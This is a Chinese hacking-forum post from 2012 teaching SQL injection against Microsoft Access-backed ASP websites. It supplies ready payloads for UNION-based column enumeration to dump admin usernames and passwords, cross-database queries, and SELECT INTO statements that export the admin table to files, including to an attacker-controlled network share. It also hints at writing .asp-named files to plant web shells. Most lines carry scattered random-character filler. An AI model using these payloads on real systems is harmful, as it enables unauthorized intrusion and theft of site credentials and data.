找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2042|回复: 0
打印 上一主题 下一主题

Access高级注入语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:20:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
--------------------------------------------------------------) Q9 _$ n0 M; y
union查询法
3 q) O! z3 |. a( r! {; }, h首先要说的就是查询办法,一般的查询办法就是
, w8 {  J  m6 Z+ ^  r' c( K) g0 C& q
程序代码
4 [5 H9 H( J2 B0 ^4 S1 ~and 1=(select count(*) from admin where left(id,1)='1')
4 J6 R+ i' E: v3 u4 K- y3 A1 q( u( l5 l" J
这样开始判断了...就算你使用各种各样的工具,也是一个个字的去猜去判断对不对,不对再换一个.这样的坏处显而易见,慢. 特别是在猜测经过32位MD5加密过的段的时候...基本上你可以去泡壶茶再喝一杯.5 [$ A' l- ^( ^  E- n; O( {4 P2 T8 H- l
所以这个时候,union select横空出现.别以为只能在PHP里用哦...- H' `9 }2 L+ r- z
譬如你有一个ACCESS点:5 U# I2 m7 V3 q% I* E
程序代码" h* |# I6 z1 Z
http://bbs.tian6.com/xiaoyang.asp?coder=1; M3 h- I( z8 F0 X" a" W
+ x" N  ^$ ^8 ]$ t8 e! H
知道存在admin表(你当然可以拿个工具先快速猜出表和字段来),
6 }* [! l; P9 J0 ?/ Z6 w然后我们直接来:( D* }$ }5 X, p, W/ w
程序代码
5 g: m' f+ e4 b/ ]http://bbs.tian6.com/xiaoyang.asp?coder=1 union select 1,2,3,4,5,6..... from admin [where coderx=1(如果有限制查询条件)]
3 x; @' @& x! ]+ i) p# i% ^2 @; {' v- w2 ~
这里从1开始加到回显正常为止.然后替换URL里相应在页面出现的1~X为password,username之类的东西,就可以直接暴内容了.多方便,多快捷.茶可以先放放,凉一些再来喝了.9 [. R0 D3 j& B/ `- V$ z# A/ t! f

1 ]8 k. ]6 E6 K1 @' b2 N
, U9 k7 C% q0 k* q
6 c# d3 f9 |; w6 r5 |& Y2 }4 b---------------------------------------------------------------
* Y7 b1 B+ d) K* v0 J( R: iAccess跨库查询
2 x, h1 r7 a  R0 u6 o3 j有时候某个网站服务器上有两个以上系统,你发现其中一个有ACCESS注入点,但是后台没法提权,另外一个系统没有注入点,但是后台却有你需要的功能.那么这个时候,跨库来了.当然,你还可以用来MDB溢出,渗透的过程等等.他的作用往往是意想不到的.
  s3 ]! r2 R7 u4 f: R6 k跨库的查询语句:
$ l" w  l4 v8 j8 O9 d  r  j" B  n子查询:" Y6 H8 ?; I8 y! V3 r
程序代码
9 h- a4 n0 [1 F$ B: d# m! o) rand (Select Count(*) from [D:\tianyang\backdoor\xiaoyang.mdb].test)>0- ], j6 h6 e2 k$ d

& M4 J  s0 N* q. b; V5 b  R  w3 [union查询:1 X* ]0 L$ v4 F6 h
程序代码
+ V; n: ]( c6 Q1 R# cunion select 1,2,3,4.... from admin in "D:\xioatianyang\okok.asa" where id=1) H9 t+ g* c* K. o- i
" H/ Y( }. l& E8 M8 E8 Z2 y
跨库的作用当然不只这些了,大伙继续发挥吧..这里提供两篇参考过的文章连接:
+ |' U6 }! U5 a$ w4 m程序代码
( k- z! b2 Z: _2 X7 g1 x8 qhttp://www.4ngel.net/article/46.htm
- A( _: Z0 Z) A4 hhttp://hf110.com/Article/hack/rqsl/200502/66.html
# {6 [, Q9 M' r2 I! U7 b! s
; l! |; f  u! P* ^, a& ?---------------------------------------------------------------
2 A" _: _1 |7 s# o4 }# ^- v. P4 qAccess注入,导出txt,htm,html
( n2 Q+ B' m' N6 b# x子查询语句:8 K4 f# s. @& b; x0 w9 S! T. F
程序代码2 B  n3 B3 x* c1 e
Select * into [test.txt] in 'd:\web\' 'text;' from admin7 n' k! t+ a9 f. C
" M1 C1 r8 F$ G4 _1 `+ d+ h
这样就把admin表的内容以test类型存进了d:\web里面.
5 B: ]4 x- [* n, c' K- [UNION查询:% B0 A1 x0 M0 c4 G
程序代码
) a+ k9 H/ U) u+ junion select * into [admin.txt] in 'c:\' 'test;' from admin
! M' U/ R3 j: V! m% L
: B6 e9 d/ z* h, F1 y" i3 O( i1 c而且这里也可以保存到本地来:* C+ B) W0 S; N: z% [& j4 H
程序代码
4 W4 W. r! w( G7 U9 N. }9 wSelect * into [test.txt] in '\\yourip\share' 'text;' from admin
3 k. V% Y3 N5 ?. n9 i/ ~+ M( i! I( t
不过,很多人包括我自己测试,本机数据库来操作是没问题的,但是一旦在注入点上,子查询会回显没有权限,union会回显动作查询不能作为行的来源.可以说还是个难题...原因大概是UNION只适用查询结合,UNION后面不能跟动作.和这个内容相关的,本论坛已有一帖:) j0 e5 ?% |" h2 x' \1 u0 b

6 n9 i/ j: A8 ]. a, z程序代码1 x, ^+ l/ r1 i4 e2 k1 i
http://bbs.tian6.com/viewthread.php?tid=3016&extra=page%3D74 _8 c) a. E  f1 S

5 i1 ]. @' I& z' h/ U; a9 J因为网上有许多和这相关的资料,所以我还是把他引进来了.如果一旦这方法运用成功的话,理论上我们只要知道表名,不需要知道段名,就可以看到该表所有内容了.或者我们可以建.php.tianyang  asp.asp之类的文件或者目录来导进文件~还是会很强大的.
: ?$ e* t% e" |) o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表